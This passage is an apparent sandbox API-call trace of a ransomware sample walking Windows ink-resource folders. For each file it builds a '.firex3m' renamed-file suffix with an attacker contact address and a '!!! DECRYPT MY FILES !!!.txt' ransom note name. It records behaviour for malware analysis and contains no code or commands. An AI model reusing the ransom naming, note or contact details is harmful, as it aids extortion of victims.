lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui", cchLength=0x47 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui") returned 0x47 [0110.366] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0110.366] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0110.366] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0110.366] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0110.366] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da8b116, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1 [0110.366] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 1 [0110.366] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui") returned 0x44 [0110.366] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0110.366] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0110.367] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0110.367] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0110.367] GetProcessHeap () returned 0x630000 [0110.367] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d5240, Size=0x3c) returned 0x6fef3c8 [0110.367] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da18a06, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x80b88a00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1 [0110.367] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui", len=0x4a | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 1 [0110.367] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui", cchLength=0x4a | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui") returned 0x4a [0110.367] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0110.367] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0110.367] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0110.367] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0110.367] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dab1374, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1 [0110.368] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui", len=0x47 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui") returned 1 [0110.368] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui", cchLength=0x47 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui") returned 0x47 [0110.368] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0110.368] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0110.368] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0110.368] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0110.368] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da18a06, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7f875d00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe.mui", cAlternateFileName="")) returned 1 [0110.368] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui", len=0x4f | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 1 [0110.368] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui", cchLength=0x4f | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui") returned 0x4f [0110.368] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0110.368] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0110.368] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0110.368] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0110.369] GetProcessHeap () returned 0x630000 [0110.369] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fef3c8, Size=0x40) returned 0x6fef410 [0110.369] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2c6cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="split.avi", cAlternateFileName="")) returned 1 [0110.369] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi", len=0x42 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 1 [0110.369] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi") returned 0x42 [0110.369] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0110.369] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0110.369] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0110.369] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0110.369] GetProcessHeap () returned 0x630000 [0110.369] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fef410, Size=0x44) returned 0x64a3b8 [0110.369] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll.mui", cAlternateFileName="")) returned 1 [0110.369] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui", len=0x47 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 1 [0110.369] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui", cchLength=0x47 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui") returned 0x47 [0110.370] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0110.370] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0110.370] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0110.370] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0110.370] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da8b116, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabTip.exe.mui", cAlternateFileName="")) returned 1 [0110.370] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui", len=0x47 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui") returned 1 [0110.370] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui", cchLength=0x47 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabtip.exe.mui") returned 0x47 [0110.370] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0110.370] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0110.370] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0110.370] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0110.370] GetProcessHeap () returned 0x630000 [0110.371] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x64a3b8, Size=0x48) returned 0x649f58 [0110.371] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ffe6194, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7c896e00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x6200, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1 [0110.371] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabtip.exe.mui", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui", len=0x47 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui") returned 1 [0110.371] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui", cchLength=0x47 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui") returned 0x47 [0110.372] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0110.372] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0110.372] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0110.372] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0110.372] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0110.372] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui", len=0x48 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui") returned 1 [0110.372] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui") returned 0x48 [0110.372] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0110.372] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0110.372] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0110.372] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0110.373] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1 [0110.373] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui", len=0x47 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui") returned 1 [0110.373] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui", cchLength=0x47 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui") returned 0x47 [0110.373] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0110.373] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0110.373] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0110.373] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0110.373] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0110.373] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0110.373] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0110.374] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\", len=0x39 | out: pbstr=0x6ebeb48*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\") returned 1 [0110.374] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\es-es\\") returned 0x39 [0110.374] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0110.374] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0110.374] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5580 [0112.291] FindNextFileW (in: hFindFile=0x6d5580, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.291] FindNextFileW (in: hFindFile=0x6d5580, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0112.291] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui", len=0x48 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui") returned 1 [0112.291] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui") returned 0x48 [0112.291] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0112.291] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0112.291] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0112.291] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0112.291] 